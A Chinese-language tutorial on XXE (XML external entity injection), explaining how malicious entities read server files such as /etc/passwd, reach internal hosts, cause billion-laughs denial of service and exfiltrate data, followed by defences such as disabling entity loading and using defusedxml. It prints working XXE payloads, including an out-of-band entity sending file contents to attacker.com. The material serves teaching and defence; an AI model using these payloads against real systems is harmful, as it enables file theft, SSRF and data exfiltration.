XXE(XML外部实体注入)漏洞与防护
字数 1019 2025-11-03 12:22:58

XXE(XML外部实体注入)漏洞与防护

描述
XXE(XML External Entity Injection)是一种针对XML处理器的安全漏洞。当应用程序解析用户提交的XML数据时,若未禁用外部实体加载,攻击者可通过构造恶意XML实体,读取服务器文件、发起SSRF攻击或导致拒绝服务。漏洞常出现在Web服务、API或文档解析功能中。

知识要点

  1. XML基础结构:XML文档可定义实体(即数据单元),例如<!ENTITY name "value">
  2. 外部实体:通过SYSTEM关键字引用外部资源,如<!ENTITY ext SYSTEM "file:///etc/passwd">
  3. 危险操作:若XML解析器将外部实体替换为实际内容并返回,则可能导致信息泄露。

漏洞原理分步解析
步骤1:正常XML解析场景
假设一个Web应用接受XML输入并返回解析结果:

<!-- 用户提交的合法XML -->
<data>
  <name>John</name>
</data>

服务器解析后返回:Hello John

步骤2:攻击者注入恶意外部实体
攻击者提交以下XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE payload [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>
  <name>&file;</name>
</data>
  • <!DOCTYPE> 定义文档类型,声明一个名为file的外部实体,指向系统文件/etc/passwd
  • &file; 在解析时会被替换为文件内容。

步骤3:漏洞触发结果
若服务器未过滤外部实体,响应可能包含文件内容:

<data>
  <name>root:x:0:0:root:/root:/bin/bash...</name>
</data>

攻击者从而窃取敏感文件。


漏洞利用进阶场景

  1. 读取远程文件:通过http://协议读取内网资源,如<!ENTITY ssrf SYSTEM "http://192.168.1.1/admin">
  2. 拒绝服务攻击:利用递归实体展开耗尽内存(如“亿次笑脸攻击”):
    <!ENTITY a "&b;&b;">
    <!ENTITY b "&c;&c;">
    <!ENTITY c "...">
    
  3. 外带数据(OOB XXE):当响应不直接返回数据时,通过DNS或HTTP请求将数据发送到攻击者服务器:
    <!ENTITY % payload SYSTEM "file:///secret.txt">
    <!ENTITY % oob "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%payload;'>">
    

防护措施

  1. 禁用外部实体
    • PHPlibxml_disable_entity_loader(true);
    • Java:设置SAXParserFactoryFEATURE_SECURE_PROCESSING
  2. 使用安全解析器:如Python的defusedxml库自动防护XXE。
  3. 输入过滤:白名单验证XML结构,或使用JSON等更安全的数据格式。
  4. 最小权限原则:运行XML解析器的账户应无敏感文件访问权。

总结
XXE漏洞源于XML解析配置不当,通过严格控制外部实体加载、更新依赖库及规范数据格式可有效防护。

XXE(XML外部实体注入)漏洞与防护 描述 XXE(XML External Entity Injection)是一种针对XML处理器的安全漏洞。当应用程序解析用户提交的XML数据时,若未禁用外部实体加载,攻击者可通过构造恶意XML实体,读取服务器文件、发起SSRF攻击或导致拒绝服务。漏洞常出现在Web服务、API或文档解析功能中。 知识要点 XML基础结构 :XML文档可定义实体(即数据单元),例如 <!ENTITY name "value"> 。 外部实体 :通过 SYSTEM 关键字引用外部资源,如 <!ENTITY ext SYSTEM "file:///etc/passwd"> 。 危险操作 :若XML解析器将外部实体替换为实际内容并返回,则可能导致信息泄露。 漏洞原理分步解析 步骤1:正常XML解析场景 假设一个Web应用接受XML输入并返回解析结果: 服务器解析后返回: Hello John 。 步骤2:攻击者注入恶意外部实体 攻击者提交以下XML: <!DOCTYPE> 定义文档类型,声明一个名为 file 的外部实体,指向系统文件 /etc/passwd 。 &file; 在解析时会被替换为文件内容。 步骤3:漏洞触发结果 若服务器未过滤外部实体,响应可能包含文件内容: 攻击者从而窃取敏感文件。 漏洞利用进阶场景 读取远程文件 :通过 http:// 协议读取内网资源,如 <!ENTITY ssrf SYSTEM "http://192.168.1.1/admin"> 。 拒绝服务攻击 :利用递归实体展开耗尽内存(如“亿次笑脸攻击”): 外带数据(OOB XXE) :当响应不直接返回数据时,通过DNS或HTTP请求将数据发送到攻击者服务器: 防护措施 禁用外部实体 : PHP : libxml_disable_entity_loader(true); Java :设置 SAXParserFactory 的 FEATURE_SECURE_PROCESSING 。 使用安全解析器 :如Python的 defusedxml 库自动防护XXE。 输入过滤 :白名单验证XML结构,或使用JSON等更安全的数据格式。 最小权限原则 :运行XML解析器的账户应无敏感文件访问权。 总结 XXE漏洞源于XML解析配置不当,通过严格控制外部实体加载、更新依赖库及规范数据格式可有效防护。